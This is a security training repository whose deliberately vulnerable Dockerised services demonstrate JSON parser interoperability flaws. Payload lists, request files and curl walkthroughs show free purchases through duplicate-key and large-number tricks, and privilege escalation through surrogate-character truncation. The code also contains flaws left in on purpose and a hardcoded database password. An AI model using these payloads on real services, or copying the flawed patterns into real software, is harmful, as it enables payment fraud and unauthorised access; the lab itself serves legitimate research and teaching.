├── README.md ├── lab1 ├── README.md ├── cart │ ├── Dockerfile │ ├── app.py │ └── requirements.txt ├── docker-compose.yml ├── lab1_alt_req.json ├── lab1_req.json ├── payments │ ├── Dockerfile │ └── app.go └── productDB.json ├── lab2 ├── README.md ├── admin │ ├── Dockerfile │ ├── app.py │ └── requirements.txt ├── docker-compose.yml ├── permissions │ ├── Dockerfile │ ├── app.py │ └── requirements.txt ├── role1.json ├── role2.json ├── run_requests.sh ├── user │ ├── Dockerfile │ ├── app.py │ └── requirements.txt ├── user1.json ├── user2.json └── user3.json └── media ├── lab1.jpg ├── lab2.jpg └── logo.jpg /README.md: -------------------------------------------------------------------------------- 1 | # JSON Interoperability Vulnerability Labs 2 | 3 |

4 | 5 |

6 | 7 | 8 | ### Description 9 | These are the companion labs to my research article ["An Exploration of JSON Interoperability Vulnerabilities"](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities). 10 | 11 | [Lab 1: Free purchases in an E-commerce Application](lab1/) 12 | * Key Collision Attacks: Inconsistent Duplicate Key Precedence 13 | * Inconsistent Large Number Representations 14 | 15 | [Lab 2: Privilege Escalation in a Multi-tenant Application](lab2/) 16 | * Key Collision Attacks: Character Truncation 17 | 18 | 19 | These labs bind to host ports 5000-5004, by default. 20 | 21 | ### Attack Techniques 22 | 23 | #### 1\. Key Collisions 24 | 25 | **Inconsistent Duplicate Key Precedence** 26 | 27 | ``` 28 | {"qty": 1, "qty": -1} 29 | ``` 30 | 31 | **Character Truncation** 32 | 33 | Truncation in last-key precedence parsers (flip order for first-key precedence) 34 | ``` 35 | {"qty": 1, "qty\": -1} 36 | {"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF 37 | {"qty": 1, "qty"": -1} 38 | {"qty": 1, "qt\y": -1} 39 | ``` 40 | **Comment Truncation** 41 | 42 | These documents take advantage of inconsistent support of comments and quote-less string support: 43 | ``` 44 | {"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/} 45 | {"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/} 46 | {"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/} 47 | {"qty": 1, "extra": "a"//, "qty": -1} 48 | ``` 49 | 50 | #### 2\. Number Decoding 51 | 52 | **Inconsistent Large Number Decoding** 53 | 54 | These large numeric values may be converted to Strings (e.g., "+Infinity"), which may lead to type-juggling vulnerabilities. Or, they may be converted to MAX_INT/MIN_INT, rounded values, or 0, which may allow a bypass of business logic. 55 | ``` 56 | {"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999} 57 | {"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999} 58 | {"qty": 1.0e4096} 59 | {"qty": -1.0e4096} 60 | ``` 61 | 62 | ### Author 63 | 64 | Twitter: [@theBumbleSec](https://twitter.com/theBumbleSec) 65 | 66 | GitHub: [the-bumble](https://github.com/the-bumble/) 67 | -------------------------------------------------------------------------------- /lab1/README.md: -------------------------------------------------------------------------------- 1 | # Lab 1: Free Purchases in an E-commerce Application 2 |

3 | 4 |

5 | 6 | ### 7 | This lab demonstrates a vulnerability pattern when two services use JSON parsers with [inconsistent duplicate key precedence](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities#1-Inconsistent%20Duplicate%20Key%20Precedence). The Cart service will decode a positive quantity, while the Payment service will decode a negative quantity. In this example, this will lead to an attacker receiving items without paying for them. 8 | 9 | There are two services: 10 | * **Cart API (port 5000)**: Python, stdlib JSON 11 | * **Payments API (port 5001)**: Go, buger/jsonparser library 12 | 13 | ### Architecture diagram 14 | 15 | 16 | ### Setup 17 | Run docker-compose from the `lab1` directory: 18 | 19 | ```bash 20 | docker-compose up -d 21 | ``` 22 | 23 | ### Part 1: Inconsistent Duplicate Key Precedence 24 | 25 | In this example, we're looking at a checkout and payment processing pipeline. We'll have a positive quantity used for fulfillment, and a negative quantity used for payment process. In the following request, we send a duplicate `qty` key to cause the Cart service (last key precedence) to incorrectly validate the JSON document before passing it to the Payments service (first key precedence). 26 | 27 | Send a request to the Cart API. 28 | ``` 29 | curl localhost:5000/cart/checkout -H "Content-Type: application/json" -d @lab1_req.json 30 | ``` 31 | 32 | Request (`lab1_req.json`): 33 | ``` 34 | { 35 | "orderId": 10, 36 | "cart": [ 37 | { 38 | "id": 0, 39 | "qty": 5 40 | }, 41 | { 42 | "id": 1, 43 | "qty": -1, 44 | "qty": 1 45 | } 46 | ] 47 | } 48 | ``` 49 | 50 | The Cart service enforces business logic through JSON Schema. However, JSON Schema libraries rely on parsed objects, so the duplicate key is not observed. The numeric range check (`0 <= x <= 10`) succeeds in the Cart service as the last duplicated `qty` key is preferred, which is a positive value. 51 | 52 | Now, that the JSON body is validated, the original JSON string is forwarded to the Payments service: 53 | 54 | ```python 55 | @app.route('/cart/checkout', methods=["POST"]) 56 | def checkout(): 57 | # 1a: Parse JSON body using Python stdlib parser. 58 | data = request.get_json(force=True) 59 | 60 | # 1b: Validate constraints using jsonschema: id: 0 <= x <= 10 and qty: >= 1 61 | jsonschema.validate(instance=data, schema=schema) 62 | 63 | # 2: Process payments 64 | resp = requests.request(method="POST", 65 | url="http://payments:8000/process", 66 | data=request.get_data(), 67 | ) 68 | ``` 69 | 70 | However, the Payments API uses a JSON parser with first key precedence. Leading to a parsed negative value for `qty` reducing the total purchase price. 71 | 72 | ```golang 73 | func processPayment(w http.ResponseWriter, r *http.Request) { 74 | var total int64 75 | total = 0 76 | data, _ := ioutil.ReadAll(r.Body) 77 | jsonparser.ArrayEach( 78 | data, 79 | func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 80 | id, _ := jsonparser.GetInt(value, "id") 81 | qty, _ := jsonparser.GetInt(value, "qty") 82 | total = total + productDB[id]["price"].(int64) * qty; 83 | }, 84 | "cart") 85 | 86 | io.WriteString(w, fmt.Sprintf("{\"total\": %d}", total)) 87 | } 88 | ``` 89 | 90 | The Cart API returns a receipt for the six items including the total payment charged by the Payments API. Note: the $700 total has been reduced to $300: 91 | 92 | ``` 93 | Receipt: 94 | 5x Product A @ $100/unit 95 | 1x Product B @ $200/unit 96 | 97 | Total Charged: $300 98 | ``` 99 | 100 | ### Part 2: Inconsistent Large Number Decode 101 | 102 | In this example, we exploit differences in [large number decoding across JSON parsers](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities#Example-Inconsistent%20Large%20Number%20Decode) to get items for free. 103 | 104 | Here, the Cart service parser will faithfully decode the large number in the JSON document, but the JSON parser in the Payments API will decode the value as 0. 105 | 106 | **Note:** This particular integer overflow is detected by `buger/jsonparser`. However, 0 is returned when there are errors, and the errors are unchecked. After a quick GitHub code search many users appear to ignore the error code, which contribute to outcomes seen here. However, even with error checking, in some libraries significant rounding can also occur to accommodate the underlying data types. 107 | 108 | ``` 109 | curl localhost:5000/cart/checkout -H "Content-Type: application/json" -d @lab1_alt_req.json 110 | ``` 111 | 112 | **Request (`lab1_alt_req.json`):** 113 | ``` 114 | POST /cart/checkout HTTP/1.1 115 | ... 116 | 117 | { 118 | "orderId": 10, 119 | "cart": [ 120 | { 121 | "id": 8, 122 | "qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 123 | } 124 | ] 125 | } 126 | 127 | ``` 128 | 129 | **Response:** 130 | ``` 131 | Receipt: 132 | 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999x $100 E-Gift Card @ $100/unit 133 | 134 | Total Charged: $0 135 | ``` 136 | 137 | As shown above, the payments service did not charge the attacker for the E-Gift card credit. 138 | -------------------------------------------------------------------------------- /lab1/cart/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | WORKDIR /code 3 | ENV FLASK_APP=app.py 4 | ENV FLASK_RUN_HOST=0.0.0.0 5 | COPY requirements.txt requirements.txt 6 | RUN pip install -r requirements.txt 7 | EXPOSE 5000 8 | COPY . . 9 | CMD ["flask", "run"] 10 | -------------------------------------------------------------------------------- /lab1/cart/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | import jsonschema 3 | import requests 4 | import json 5 | 6 | app = Flask(__name__) 7 | 8 | productDB = None 9 | with open("productDB.json", "r") as fd: 10 | productDB = json.loads(fd.read()) 11 | 12 | schema = { 13 | "type": "object", 14 | "properties": { 15 | "orderId": { 16 | "type": "number", 17 | "maximum": 10, 18 | }, 19 | "cart": { 20 | "type": "array", 21 | "items": { 22 | "type": "object", 23 | "properties": { 24 | "id": { 25 | "type": "number", 26 | "minimum": 0, 27 | "exclusiveMaximum": 9 #len(productDB)-1 28 | }, 29 | "qty": { 30 | "type": "integer", 31 | "minimum": 1 32 | }, 33 | }, 34 | "required": ["id", "qty"], 35 | } 36 | } 37 | }, 38 | "required": ["orderId", "cart"], 39 | } 40 | 41 | 42 | @app.route('/cart/checkout', methods=["POST"]) 43 | def checkout(): 44 | # 1a: Parse JSON body using Python stdlib parser. 45 | data = request.get_json(force=True) 46 | 47 | # 1b: Validate constraints using jsonschema: id: 0 <= x <= 10 and qty: >= 1 48 | jsonschema.validate(instance=data, schema=schema) 49 | 50 | # 2: Process payments 51 | resp = requests.request(method="POST", 52 | url="http://payments:8000/process", 53 | data=request.get_data(), 54 | ) 55 | 56 | # 3: Print receipt as a response, or produce generic error message 57 | if resp.status_code == 200: 58 | receipt = "Receipt:\n" 59 | for item in data["cart"]: 60 | receipt += "{}x {} @ ${}/unit\n".format( 61 | item["qty"], 62 | productDB[item["id"]].get("name"), 63 | productDB[item["id"]].get("price") 64 | ) 65 | receipt += "\nTotal Charged: ${}\n".format(resp.json()["total"]) 66 | return receipt 67 | return "Error during payment processing" 68 | -------------------------------------------------------------------------------- /lab1/cart/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | jsonschema 3 | requests 4 | -------------------------------------------------------------------------------- /lab1/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.3" 2 | services: 3 | cart: 4 | build: cart/ 5 | ports: 6 | - "5000:5000" 7 | volumes: 8 | - ./productDB.json:/code/productDB.json 9 | payments: 10 | build: payments/ 11 | ports: 12 | - "5001:8000" 13 | volumes: 14 | - ./productDB.json:/go/src/app/productDB.json 15 | 16 | -------------------------------------------------------------------------------- /lab1/lab1_alt_req.json: -------------------------------------------------------------------------------- 1 | { 2 | "orderId": 10, 3 | "cart": [ 4 | { 5 | "id": 8, 6 | "qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 7 | } 8 | ] 9 | } 10 | -------------------------------------------------------------------------------- /lab1/lab1_req.json: -------------------------------------------------------------------------------- 1 | { 2 | "orderId": 10, 3 | "cart": [ 4 | { 5 | "id": 0, 6 | "qty": 5 7 | }, 8 | { 9 | "id": 1, 10 | "qty": -1, 11 | "qty": 1 12 | } 13 | ] 14 | } 15 | -------------------------------------------------------------------------------- /lab1/payments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.14 2 | 3 | WORKDIR /go/src/app 4 | COPY . . 5 | 6 | RUN go get -d -v ./... 7 | RUN go install -v ./... 8 | 9 | CMD ["app"] 10 | -------------------------------------------------------------------------------- /lab1/payments/app.go: -------------------------------------------------------------------------------- 1 | package main; 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "io/ioutil" 7 | "net/http" 8 | "github.com/buger/jsonparser" 9 | "log" 10 | ) 11 | 12 | var productDB []map[string]interface{} 13 | 14 | func processPayment(w http.ResponseWriter, r *http.Request) { 15 | var total int64 = 0 16 | data, _ := ioutil.ReadAll(r.Body) 17 | jsonparser.ArrayEach( 18 | data, 19 | func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 20 | id, _ := jsonparser.GetInt(value, "id") 21 | qty, _ := jsonparser.GetInt(value, "qty") 22 | total = total + productDB[id]["price"].(int64) * qty; 23 | }, 24 | "cart") 25 | 26 | io.WriteString(w, fmt.Sprintf("{\"total\": %d}", total)) 27 | } 28 | 29 | func main() { 30 | // Initialize ProductDB 31 | data, err := ioutil.ReadFile("productDB.json") 32 | if err != nil { 33 | panic(err) 34 | } 35 | 36 | jsonparser.ArrayEach(data, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 37 | m := make(map[string]interface{}) 38 | m["name"], _ = jsonparser.GetString(value, "name") 39 | m["price"], _ = jsonparser.GetInt(value, "price") 40 | productDB = append(productDB, m) 41 | }) 42 | 43 | // Start Web server 44 | mux := http.NewServeMux() 45 | mux.HandleFunc("/process", processPayment) 46 | 47 | err = http.ListenAndServe(":8000", mux) 48 | log.Fatal(err) 49 | } 50 | -------------------------------------------------------------------------------- /lab1/productDB.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"name": "Product A", "price": 100}, 3 | {"name": "Product B", "price": 200}, 4 | {"name": "Product C", "price": 300}, 5 | {"name": "Product D", "price": 400}, 6 | {"name": "Product E", "price": 500}, 7 | {"name": "Product F", "price": 600}, 8 | {"name": "Product G", "price": 700}, 9 | {"name": "Product H", "price": 800}, 10 | {"name": "$100 E-Gift Card", "price": 100}, 11 | {"name": "Product J", "price": 1000} 12 | ] 13 | -------------------------------------------------------------------------------- /lab2/README.md: -------------------------------------------------------------------------------- 1 | # Lab 2: Privilege Escalation in a Multi-tenant Application 2 |

3 | 4 |

5 | 6 | ### 7 | Let's consider a multi-tenant application where an organization admin is able to create custom user roles. We also know that users that have cross-organizational access are assigned the internal role `superadmin`. Let’s try to escalate privileges. 8 | 9 | There are two APIs: 10 | * **User API (port 5002)**: Python, stdlib JSON 11 | * **Permissions API (port 5003)**: Python, stdlib JSON 12 | * **Admin API (port 5004)**: Python, ujson 13 | 14 | 15 | ### Setup 16 | Run docker-compose from the `lab2` directory: 17 | 18 | ```bash 19 | docker-compose up -d 20 | ``` 21 | 22 | ### Demo: Character truncation 23 | 24 | 25 | 1\. Create a role that will be truncated by a downstream parsers. 26 | 27 | Command: 28 | ``` 29 | curl localhost:5002/role/create -H "Content-Type: application/json" -d @role2.json 30 | ``` 31 | 32 | Request: 33 | ``` 34 | POST /role/create HTTP/1.1 35 | ... 36 | 37 | { 38 | "name": "superadmin\ud888" 39 | } 40 | ``` 41 | 42 | 2\. Create a new user with that malformed role name. 43 | 44 | Command: 45 | ``` 46 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user2.json 47 | ``` 48 | 49 | Request: 50 | ``` 51 | POST /user/create HTTP/1.1 52 | ... 53 | 54 | { 55 | "user": "exampleUser", 56 | "roles": [ 57 | "superadmin\ud888" 58 | ] 59 | } 60 | ``` 61 | 62 | 3\. Access the Admin API due to truncation performed by parser when reading the response from the Permissions API ([See blog post for more details](https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities#Example-Validate-Store%20Pattern)). 63 | 64 | Command: 65 | ``` 66 | curl localhost:5004/admin -H "Cookie: username=exampleUser" 67 | ``` 68 | 69 | **Note:** `role1.json`, `user1.json` are templates for well-behaved requests. `user3.json` attempts to directly assign `superadmin` role. 70 | -------------------------------------------------------------------------------- /lab2/admin/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7-alpine 2 | WORKDIR /code 3 | ENV FLASK_APP=app.py 4 | ENV FLASK_RUN_HOST=0.0.0.0 5 | RUN apk add --no-cache gcc musl-dev linux-headers g++ 6 | RUN pip install -q -U setuptools wheel 7 | COPY requirements.txt requirements.txt 8 | RUN pip install -r requirements.txt 9 | EXPOSE 5000 10 | COPY . . 11 | CMD ["flask", "run"] 12 | -------------------------------------------------------------------------------- /lab2/admin/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | import requests 3 | import ujson 4 | 5 | import os.path 6 | import urllib 7 | 8 | app = Flask(__name__) 9 | 10 | 11 | @app.route('/') 12 | def index(): 13 | return "Admin API" 14 | 15 | 16 | @app.route('/admin') 17 | def admin(): 18 | username = request.cookies.get("username") 19 | if not username: 20 | return {"Error": "Specify username in Cookie"} 21 | 22 | username = urllib.quote(os.path.basename(username)) 23 | 24 | url = "http://permissions:5000/permissions/{}".format(username) 25 | resp = requests.request(method="GET", url=url) 26 | 27 | ret = ujson.loads(resp.text) 28 | 29 | if resp.status_code == 200: 30 | if "superadmin" in ret["roles"]: 31 | return {"OK": "Superadmin Access granted"} 32 | else: 33 | e = u"Access denied. User has following roles: {}".format(ret["roles"]) 34 | return {"Error": e}, 401 35 | else: 36 | return {"Error": ret["Error"]}, 500 37 | -------------------------------------------------------------------------------- /lab2/admin/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | requests 3 | ujson 4 | -------------------------------------------------------------------------------- /lab2/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.3" 2 | services: 3 | mysql: 4 | image: mysql 5 | command: --default-authentication-plugin=mysql_native_password 6 | restart: always 7 | environment: 8 | MYSQL_ROOT_PASSWORD: bb3cf293a43066428577ac02926cefd0 9 | user: 10 | build: user/ 11 | ports: 12 | - "5002:5000" 13 | depends_on: 14 | - "mysql" 15 | permissions: 16 | build: permissions/ 17 | ports: 18 | - "5003:5000" 19 | depends_on: 20 | - "user" 21 | - "mysql" 22 | admin: 23 | build: admin/ 24 | ports: 25 | - "5004:5000" 26 | -------------------------------------------------------------------------------- /lab2/permissions/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7-alpine 2 | WORKDIR /code 3 | ENV FLASK_APP=app.py 4 | ENV FLASK_RUN_HOST=0.0.0.0 5 | COPY requirements.txt requirements.txt 6 | RUN pip install -r requirements.txt 7 | EXPOSE 5000 8 | COPY . . 9 | CMD ["flask", "run"] 10 | -------------------------------------------------------------------------------- /lab2/permissions/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | import mysql.connector 3 | import time 4 | 5 | app = Flask(__name__) 6 | 7 | mydb = None 8 | while mydb is None: 9 | time.sleep(1) 10 | mydb = mysql.connector.connect( 11 | host="mysql", 12 | user="root", 13 | password="bb3cf293a43066428577ac02926cefd0", 14 | database="demo", 15 | charset="binary" 16 | ) 17 | 18 | 19 | @app.route('/') 20 | def index(): 21 | return "Permission API" 22 | 23 | 24 | @app.route('/permissions/') 25 | def permissions(username): 26 | mycursor = mydb.cursor() 27 | mycursor.execute("SELECT r.name FROM users u LEFT JOIN user_roles ur ON u.id = ur.user_id LEFT JOIN roles r ON ur.role_id = r.id WHERE u.name = %s", 28 | (username,)) 29 | 30 | # Decode binary values to utf-8 31 | roles = [x[0].decode("utf-8") for x in mycursor.fetchall()] 32 | if roles: 33 | return {"roles": roles} 34 | else: 35 | return {"Error": "User does not exist"}, 400 36 | -------------------------------------------------------------------------------- /lab2/permissions/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | jsonschema 3 | requests 4 | mysql-connector-python 5 | -------------------------------------------------------------------------------- /lab2/role1.json: -------------------------------------------------------------------------------- 1 | {"name": "simple"} 2 | -------------------------------------------------------------------------------- /lab2/role2.json: -------------------------------------------------------------------------------- 1 | {"name": "superadmin\ud888"} 2 | -------------------------------------------------------------------------------- /lab2/run_requests.sh: -------------------------------------------------------------------------------- 1 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user3.json 2 | curl localhost:5002/role/create -H "Content-Type: application/json" -d @role1.json 3 | curl localhost:5002/role/create -H "Content-Type: application/json" -d @role2.json 4 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user1.json 5 | curl localhost:5002/user/create -H "Content-Type: application/json" -d @user2.json 6 | curl localhost:5003/permissions/exampleUser 7 | curl localhost:5004/admin -H "Cookie: username=exampleUser" 8 | -------------------------------------------------------------------------------- /lab2/user/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7-alpine 2 | WORKDIR /code 3 | ENV FLASK_APP=app.py 4 | ENV FLASK_RUN_HOST=0.0.0.0 5 | COPY requirements.txt requirements.txt 6 | RUN pip install -r requirements.txt 7 | EXPOSE 5000 8 | COPY . . 9 | CMD ["flask", "run"] -------------------------------------------------------------------------------- /lab2/user/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | import jsonschema 3 | from jsonschema.exceptions import SchemaError 4 | import mysql.connector 5 | import time 6 | 7 | app = Flask(__name__) 8 | 9 | mydb = None 10 | while mydb is None: 11 | time.sleep(1) 12 | mydb = mysql.connector.connect( 13 | host="mysql", 14 | user="root", 15 | password="bb3cf293a43066428577ac02926cefd0", 16 | charset="binary", 17 | ) 18 | 19 | cursor = mydb.cursor() 20 | # Reset database 21 | cursor.execute("DROP DATABASE demo") 22 | cursor.execute("CREATE DATABASE demo CHARACTER SET binary") 23 | cursor.execute("USE demo") 24 | 25 | # create tables 26 | cursor.execute("CREATE TABLE users (id int NOT NULL AUTO_INCREMENT primary key, name varchar(255))") 27 | cursor.execute("CREATE TABLE roles (id int NOT NULL AUTO_INCREMENT primary key, name varchar(255))") 28 | cursor.execute("CREATE TABLE user_roles (id int NOT NULL AUTO_INCREMENT primary key, user_id int, role_id int)") 29 | cursor.execute("INSERT INTO roles (name) VALUES (\"superadmin\")") 30 | mydb.commit() 31 | 32 | 33 | @app.route('/') 34 | def index(): 35 | return "User API" 36 | 37 | # /user/create 38 | 39 | 40 | userschema = { 41 | "type": "object", 42 | "properties": { 43 | "user": {"type": "string"}, 44 | "roles": { 45 | "type": "array", 46 | "items": { 47 | "type": "string" 48 | } 49 | } 50 | }, 51 | "required": ["user", "roles"] 52 | } 53 | 54 | 55 | @app.route('/user/create', methods=["POST"]) 56 | def createUser(): 57 | data = request.get_json(force=True) 58 | try: 59 | jsonschema.validate(instance=data, schema=userschema) 60 | except SchemaError as e: 61 | return {"Error": "Invalid Request: " + e}, 400 62 | 63 | cursor = mydb.cursor() 64 | cursor.execute("SELECT * FROM users WHERE name = %s", (data["user"],)) 65 | 66 | if len(list(cursor.fetchall())) > 0: 67 | return {"Error": "User already exists"}, 400 68 | 69 | forbiddenroles = ["superadmin"] 70 | 71 | cursor.execute("SELECT id, name FROM roles") 72 | dbroles = cursor.fetchall() 73 | 74 | for role in data["roles"]: 75 | # Convert to bytes before comparison 76 | role = role.encode("utf-8") 77 | # compare against name field 78 | if role not in [x[1] for x in dbroles]: 79 | return {"Error": u"Role '{}' does not exist".format(role)}, 404 80 | if role in forbiddenroles: 81 | return {"Error": u"Assignment of internal role '{}' is forbidden".format(role)}, 401 82 | 83 | cursor.execute("INSERT INTO users (name) VALUES (%s)", (data["user"],)) 84 | mydb.commit() 85 | 86 | userid = cursor.lastrowid 87 | for role in data["roles"]: 88 | # Convert to bytes before comparison 89 | role = role.encode("utf-8") 90 | for i in range(len(dbroles)): 91 | if role == dbroles[i][1]: 92 | cursor.execute("INSERT INTO user_roles (user_id, role_id) VALUES (%s, %s)", 93 | (userid, dbroles[i][0])) 94 | 95 | mydb.commit() 96 | 97 | return {"OK": u"Created user '{}'".format(data["user"])} 98 | 99 | # /role/create 100 | 101 | 102 | roleschema = { 103 | "type": "object", 104 | "properties": { 105 | "name": {"type": "string"} 106 | }, 107 | "required": ["name"] 108 | } 109 | 110 | 111 | @app.route('/role/create', methods=["POST"]) 112 | def createRole(): 113 | data = request.get_json(force=True) 114 | try: 115 | jsonschema.validate(instance=data, schema=roleschema) 116 | except SchemaError: 117 | return {"Error": "Invalid Request"}, 400 118 | 119 | rolename = data["name"] 120 | 121 | cursor = mydb.cursor() 122 | cursor.execute("SELECT name FROM roles WHERE name = %s", (rolename,)) 123 | 124 | if len(list(cursor.fetchall())) == 0: 125 | cursor.execute("INSERT INTO roles (name) VALUES (%s)", (rolename,)) 126 | mydb.commit() 127 | else: 128 | return {"Error": "Role already exists"}, 400 129 | return {"OK": u"Created role '{}'".format(rolename)} 130 | -------------------------------------------------------------------------------- /lab2/user/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | jsonschema 3 | requests 4 | mysql-connector-python 5 | -------------------------------------------------------------------------------- /lab2/user1.json: -------------------------------------------------------------------------------- 1 | { 2 | "user": "simpleUser", 3 | "roles": ["simple"] 4 | } 5 | -------------------------------------------------------------------------------- /lab2/user2.json: -------------------------------------------------------------------------------- 1 | { 2 | "user": "exampleUser", 3 | "roles": ["superadmin\ud888"] 4 | } 5 | -------------------------------------------------------------------------------- /lab2/user3.json: -------------------------------------------------------------------------------- 1 | { 2 | "user": "adminUser", 3 | "roles": ["superadmin"] 4 | } 5 | -------------------------------------------------------------------------------- /media/lab1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/json-interop-vuln-labs/5b6f23a361b3e0f65dd46167c23af4a2c73cab7d/media/lab1.jpg -------------------------------------------------------------------------------- /media/lab2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/json-interop-vuln-labs/5b6f23a361b3e0f65dd46167c23af4a2c73cab7d/media/lab2.jpg -------------------------------------------------------------------------------- /media/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BishopFox/json-interop-vuln-labs/5b6f23a361b3e0f65dd46167c23af4a2c73cab7d/media/logo.jpg --------------------------------------------------------------------------------